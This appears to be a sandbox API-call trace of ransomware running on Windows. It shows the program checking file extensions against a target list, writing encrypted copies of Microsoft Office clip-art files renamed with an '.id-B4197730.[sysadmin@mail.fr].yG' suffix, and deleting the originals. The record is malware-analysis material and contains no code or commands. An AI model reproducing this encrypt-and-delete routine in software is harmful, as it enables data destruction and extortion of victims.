	[0052.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.275] lstrlenW (lpString=".zip") returned 4
	[0052.275] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.275] lstrlenW (lpString=".rar") returned 4
	[0052.275] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.275] lstrlenW (lpString=".bz2") returned 4
	[0052.275] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.275] lstrlenW (lpString=".7z") returned 3
	[0052.275] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.275] lstrlenW (lpString=".dbf") returned 4
	[0052.275] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.275] lstrlenW (lpString=".1cd") returned 4
	[0052.275] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68
	[0052.275] lstrlenW (lpString=".jpg") returned 4
	[0052.275] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.275] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.275] lstrlenW (lpString="AN00853_.WMF") returned 12
	[0052.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.276] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=20578) returned 1
	[0052.276] CloseHandle (hObject=0x2f4) returned 1
	[0052.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 0x220
	[0052.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.277] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.277] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0052.277] GetLastError () returned 0x0
	[0052.277] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x5062, lpOverlapped=0x0) returned 1
	[0052.390] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x5070, lpOverlapped=0x0) returned 1
	[0052.391] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.391] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.391] SetEndOfFile (hFile=0x388) returned 1
	[0052.391] CloseHandle (hObject=0x388) returned 1
	[0052.392] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.392] SetEndOfFile (hFile=0x2f4) returned 1
	[0052.393] CloseHandle (hObject=0x2f4) returned 1
	[0052.393] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00853_.wmf")) returned 1
	[0052.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.393] lstrlenW (lpString=".doc") returned 4
	[0052.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.393] lstrlenW (lpString=".docx") returned 5
	[0052.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.393] lstrlenW (lpString=".pdf") returned 4
	[0052.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString=".xls") returned 4
	[0052.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.394] lstrlenW (lpString=".xlsx") returned 5
	[0052.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.394] lstrlenW (lpString=".ppt") returned 4
	[0052.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString=".zip") returned 4
	[0052.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.394] lstrlenW (lpString=".rar") returned 4
	[0052.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString=".bz2") returned 4
	[0052.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString=".7z") returned 3
	[0052.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString=".dbf") returned 4
	[0052.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString=".1cd") returned 4
	[0052.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString=".jpg") returned 4
	[0052.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.394] lstrlenW (lpString=".doc") returned 4
	[0052.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString=".docx") returned 5
	[0052.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.394] lstrlenW (lpString=".pdf") returned 4
	[0052.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.394] lstrlenW (lpString=".xls") returned 4
	[0052.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.394] lstrlenW (lpString=".xlsx") returned 5
	[0052.394] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.395] lstrlenW (lpString=".ppt") returned 4
	[0052.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.395] lstrlenW (lpString=".zip") returned 4
	[0052.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.395] lstrlenW (lpString=".rar") returned 4
	[0052.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.395] lstrlenW (lpString=".bz2") returned 4
	[0052.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.395] lstrlenW (lpString=".7z") returned 3
	[0052.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.395] lstrlenW (lpString=".dbf") returned 4
	[0052.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.395] lstrlenW (lpString=".1cd") returned 4
	[0052.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0052.395] lstrlenW (lpString=".jpg") returned 4
	[0052.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.395] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.395] lstrlenW (lpString="AN01039_.WMF") returned 12
	[0052.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.396] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3344) returned 1
	[0052.396] CloseHandle (hObject=0x2f4) returned 1
	[0052.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 0x220
	[0052.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0052.396] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.396] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0052.396] GetLastError () returned 0x0
	[0052.396] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0xd10, lpOverlapped=0x0) returned 1
	[0052.434] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xd20, lpOverlapped=0x0) returned 1
	[0052.434] ReadFile (in: hFile=0x2f4, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.434] WriteFile (in: hFile=0x388, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.435] SetEndOfFile (hFile=0x388) returned 1
	[0052.435] CloseHandle (hObject=0x388) returned 1
	[0052.436] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.436] SetEndOfFile (hFile=0x2f4) returned 1
	[0052.436] CloseHandle (hObject=0x2f4) returned 1
	[0052.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.437] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01039_.wmf")) returned 1
	[0052.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.437] lstrlenW (lpString=".doc") returned 4
	[0052.437] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.437] lstrlenW (lpString=".docx") returned 5
	[0052.437] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.437] lstrlenW (lpString=".pdf") returned 4
	[0052.437] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.437] lstrlenW (lpString=".xls") returned 4
	[0052.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.437] lstrlenW (lpString=".xlsx") returned 5
	[0052.437] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.437] lstrlenW (lpString=".ppt") returned 4
	[0052.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.437] lstrlenW (lpString=".zip") returned 4
	[0052.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.437] lstrlenW (lpString=".rar") returned 4
	[0052.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.437] lstrlenW (lpString=".bz2") returned 4
	[0052.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.437] lstrlenW (lpString=".7z") returned 3
	[0052.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.437] lstrlenW (lpString=".dbf") returned 4
	[0052.437] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".1cd") returned 4
	[0052.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".jpg") returned 4
	[0052.438] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".doc") returned 4
	[0052.438] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString=".docx") returned 5
	[0052.438] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.438] lstrlenW (lpString=".pdf") returned 4
	[0052.438] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString=".xls") returned 4
	[0052.438] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.438] lstrlenW (lpString=".xlsx") returned 5
	[0052.438] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.438] lstrlenW (lpString=".ppt") returned 4
	[0052.438] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".zip") returned 4
	[0052.438] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.438] lstrlenW (lpString=".rar") returned 4
	[0052.438] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString=".bz2") returned 4
	[0052.438] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString=".7z") returned 3
	[0052.438] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".dbf") returned 4
	[0052.438] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.438] lstrlenW (lpString=".1cd") returned 4
	[0052.438] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 68
	[0052.439] lstrlenW (lpString=".jpg") returned 4
	[0052.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.439] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0052.439] lstrlenW (lpString="AN01173_.WMF") returned 12
	[0052.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.647] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=26332) returned 1
	[0052.647] CloseHandle (hObject=0x398) returned 1
	[0052.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220
	[0052.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0052.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0052.647] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.647] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0052.652] GetLastError () returned 0x0
	[0052.652] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x66dc, lpOverlapped=0x0) returned 1
	[0052.899] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0x66e0, lpOverlapped=0x0) returned 1
	[0052.900] ReadFile (in: hFile=0x398, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1
	[0052.900] WriteFile (in: hFile=0x384, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1
	[0052.900] SetEndOfFile (hFile=0x384) returned 1
	[0052.900] CloseHandle (hObject=0x384) returned 1
	[0052.901] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1
	[0052.901] SetEndOfFile (hFile=0x398) returned 1
	[0052.902] CloseHandle (hObject=0x398) returned 1
	[0052.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0052.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString=".doc") returned 4
	[0052.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString=".docx") returned 5
	[0052.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.903] lstrlenW (lpString=".pdf") returned 4
	[0052.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString=".xls") returned 4
	[0052.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.903] lstrlenW (lpString=".xlsx") returned 5
	[0052.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.903] lstrlenW (lpString=".ppt") returned 4
	[0052.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString=".zip") returned 4
	[0052.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0052.903] lstrlenW (lpString=".rar") returned 4
	[0052.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString=".bz2") returned 4
	[0052.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString=".7z") returned 3
	[0052.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString=".dbf") returned 4
	[0052.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString=".1cd") returned 4
	[0052.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0052.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.903] lstrlenW (lpString=".jpg") returned 4
	[0052.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68
	[0052.904] lstrlenW (lpString=".doc") returned 4
	[0052.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString=".docx") returned 5
	[0052.904] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0052.904] lstrlenW (lpString=".pdf") returned 4
	[0052.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0052.904] lstrlenW (lpString=".xls") returned 4
	[0052.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0052.904] lstrlenW (lpString=".xlsx") returned 5
	[0052.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0052.904] lstrlenW (lpString=".ppt") returned 4
